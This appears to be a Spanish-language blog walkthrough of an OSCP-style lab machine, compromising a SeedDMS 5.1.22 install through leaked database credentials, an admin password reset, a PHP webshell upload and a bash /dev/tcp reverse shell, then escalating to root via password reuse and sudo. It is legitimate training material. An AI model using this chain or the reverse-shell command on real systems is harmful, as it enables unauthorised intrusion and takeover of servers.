Una máquina sencilla totalmente hecha para OSCP. No se requiere fuerza bruta. El objetivo es obtener una shell root.
Comenzaré con el reconocimiento de la máquina objetivo, utilizaré la herramienta arp-scan para esta tarea.
Nuestra máquina objetivo tiene la dirección IP 192.168.50.36, con la herramienta Nmap escanearé los puertos abiertos y servicios que se están ejecutando en nuestra máquina objetivo.
Como se muestra en la imagen anterior hay tres puertos abiertos. Ahora con la misma herramienta escaneare estos puertos para obtener los servicios que se están ejecutando.
Ahora sabemos que se están ejecutando en el puerto 80 se está ejecutando el servidor Apache httpd versión 2.4.41, y en el puerto 3306 se está ejecutando Mysql 8.0.25.
Ahora en mi navegador web cargaré el sitio web que se está ejecutando en la máquina objetivo.
Revisando la página web y su código fuente no encontré nada interesante, lo que haré ahora será enumerar directorios del servidor web. Utilizaré la herramienta Gobuster para realizar la enumeración de directorios.
La herramienta descubrió archivo genéricos típicos de la estructura de directorios de un sitio web. al cargar cada directorio en mi navegador web este responde con forbidden. En ocasiones al cargar un directorio en el navegador este lista los archivos y subdirectorios que se encuentran en él, lo que conoce como Index of, por lo tanto, revisaré nuevamente el código fuente para enumerar archivos con extensiones .js, .css, etc.
Con la herramienta curl solicitaré la página web, la herramienta me devolverá el código fuente de la página web, esto es útil para aplicar algunos filtros de búsqueda como se muestra a continuación.
Como se muestra en la imagen hay un comentario en formato js que dice "asegúrese de que este archivo js sea el mismo que la aplicación instalada en nuestro servidor: /seeddms51x/seeddms-5.1.22/" al parecer es una ruta web. Lo que haré será cargar esta ruta en el navegador web.
Al cargar la ruta http://192.168.50.36/seeddms51x/seeddms-5.1.22/, se nos muestra un panel de autenticación y otra información importante. Como se muestra en la imagen se muestra el nombre de la aplicación SeedDMS y en la misma url la "versión" de la aplicación 5.1.22.
SeeDMS como dice en su página web es un sistema de gestión de documentos gratuito y de código abierto con una interfaz de usuario basada en web fácil de usar para pequeñas y medianas empresas.
También encontré un repositorio de la aplicación en Github, esto será útil para analizar los diferentes archivos que componen la aplicación en busca de alguna fuga de información. También es útil porque evita tener que descargar la aplicación e instalarla para probar su funcionalidad.
Ahora con la herramienta searchsploit buscaré alguna vulnerabilidad conocida para la aplicación SeedDMS.
La herramienta nos muestra tres vulnerabilidades para nuestra versión de SeedDMS, la vulnerabilidad que me interesa explotar es Remote Command Execution. Ahora revisaré la información sobre este exploit, ejecute el siguiente comando para ver la información searchsploit -x php/webapps/47022.txt.
.
- Estar autenticado en la aplicación.
- Luego debemos crear un archivo .php y en el agregar el código php que se muestra en el ejemplo o se puede crear una webshell como puerta trasera.
- Debemos subir este archivo al servidor y verificar la identificación del documento enviado al servidor con nuestro documento.
- Por último, para nuestro caso debemos ir a http:192.168.50.36/data/1048576/id_cocumento/documento.php?cmd=/etc/passwd
Analizando los diferentes directorios desde el repositorio de Github en el directorio conf encontré un archivo .htaccess, el archivo .htaccess se utiliza para crear configuraciones que le indica al servidor como debe funcionar.
Dentro del archivo .htaccess encontré un comentario interesante.
En el comentario indica "¡Asegúrese de que settings.xml no se pueda abrir desde afuera!
Redirigir /conf/settings.xml /index.php ".
Lo que haré ahora es cargar este archivo desde mi navegador web, con esto comprobaré si al desplegar la aplicación en la máquina objetivo realizaron dicha configuración.
Como se muestra en la imagen anterior podemos desplegar el archivo settings.xml en nuestro navegador web. analizando él archivo en el se encuentran las configuraciones de conexión de base de dato.
Donde, nombre de base de datos es seeddms, nombre de usuario es seeddms y la contraseña de usuario es seeddms.
Con esta información lo que haré será conectarme a la base de dato desde mi cliente Mysql.
Ahora estando conectado al motor de base de dato MySql desde mi máquina listaré las bases de datos con el comando show databases.
Como se muestra en la imagen anterior se lista la base de dato de la aplicación seeddms. Utilizaré la herramienta DbSchema para conectar a la base de datos para analizar su estructura.
Analizando la tabla tblUsers encontré la siguiente información.
Hay dos usuarios admin y guest, las contraseñas se guardan cifradas en formato MD5 y como se muestra en la siguiente imagen la contraseña para el usuario admin se encuenta expirada.
Lo que intentaré será crear una contraseña, luego cifraré en formato MD5 y actualizaré la contraseña del usuario admin.
Ahora resta subir el archivo creado anteriormente.
En la parte que dice "Version Information" hacemos clic en el Browser... y seleccionamos el archivo que creamos llamado cmd.php.
Por último, damos clic en el botón add document que se encuentra en la parte inferior de la página web.
A dar clic en el botón Add document se nos redirecciona a la siguiente página en blanco.
Aquí hacemos clic en el botón atrás del navegador web y luego hacemos clic en links Folder.Para obtener el ID del documento damos clic en cmd.php y se nos mostrará la siguiente información.
Según la información que se nos da sobre el exploit deberíamos ejecutar la siguiente url http://192.168.50.36/seeddms51x/data/1048576/7/1.php?cmd=cat+/etc/passwd. Se nos mostrará el siguiente resultado.
Por último, no queda obtener acceso a la máquina objetivo. Entonces en mi máquina atacante con la herramienta Netcat configuraré un puerto en escucha como se muestra en la siguiente imagen.
Y en la máquina objetivo ejecutaré la siguiente instrucción bash -c "bash -i >& /dev/tcp/192.168.50.35/443 >& 1". Donde, la dirección IP 192.168.50.35, es mi dirección IP, es decir, la dirección IP de la máquina atacante, y 443 es el puerto que está en escucha en mi máquina atacante.
Al enviar la solicitud al servidor con la instrucción antes descrita, en nuestra máquina atacante recibimos una conexión desde la máquina objetivo a nuestra máquina atacante.
Ahora haré algunas configuraciones en mi terminal, con el objetivo de tener una terminar interactiva y funcional.
Ejecutaré el comando tty.
El comando tty muestra el nombre del archivo del terminal conectado a la entrada estándar. En este caso y como se muestra en la imagen no hay ningún archivo conectado a la entrada estándar. Por lo tanto, ejecutaré la siguiente instrucción
Luego presiono la combinación de teclas Ctrl+z para enviar el proceso actual a segundo plano. y ejecuto la siguiente instrucción.
Si imprimo la variable $TERM está variable vale dump. Por lo tanto, debemos exportar nuestra xterm a nuestra variable $TERM como se muestran en la siguientes imágenes.
Con esto en nuestra terminal tenemos disponible el comando Ctrl + l y Ctrl + c y una terminal interactiva.
Volviendo a nuestro pentest, ejecutaré el siguiente comando cat /etc/passwd | grep bash
Hay dos usuarios que tienen asociado una bash. Entonces ejecutaré el comando su saket, para cambiar de usuario.
Como se muestra en la imagen anterior se nos pide la contraseña/password del usuario saket la cual no la sabemos.
Como se muestra en la imagen anterior en la tabla users existe el registro de un usuario saket y su contraseña veré si el usuario saket reutilizó su contraseña.
El usuario saket reutilizó su contraseña/password. Ahora vamos a ver los permisos que tiene el usuario saket.
Como se muestra en la imagen el usuario saket puede ejecutar comandos con privilegios elevados utilizando el comando sudo. Por lo tanto, ejecutaré el siguiente comando sudo su, para cambiar de usuario saket a usuario root.
Como se muestra en la imagen anterior elevamos privilegio a usuario root.
Happy Hack!!!
















































Comentarios
Publicar un comentario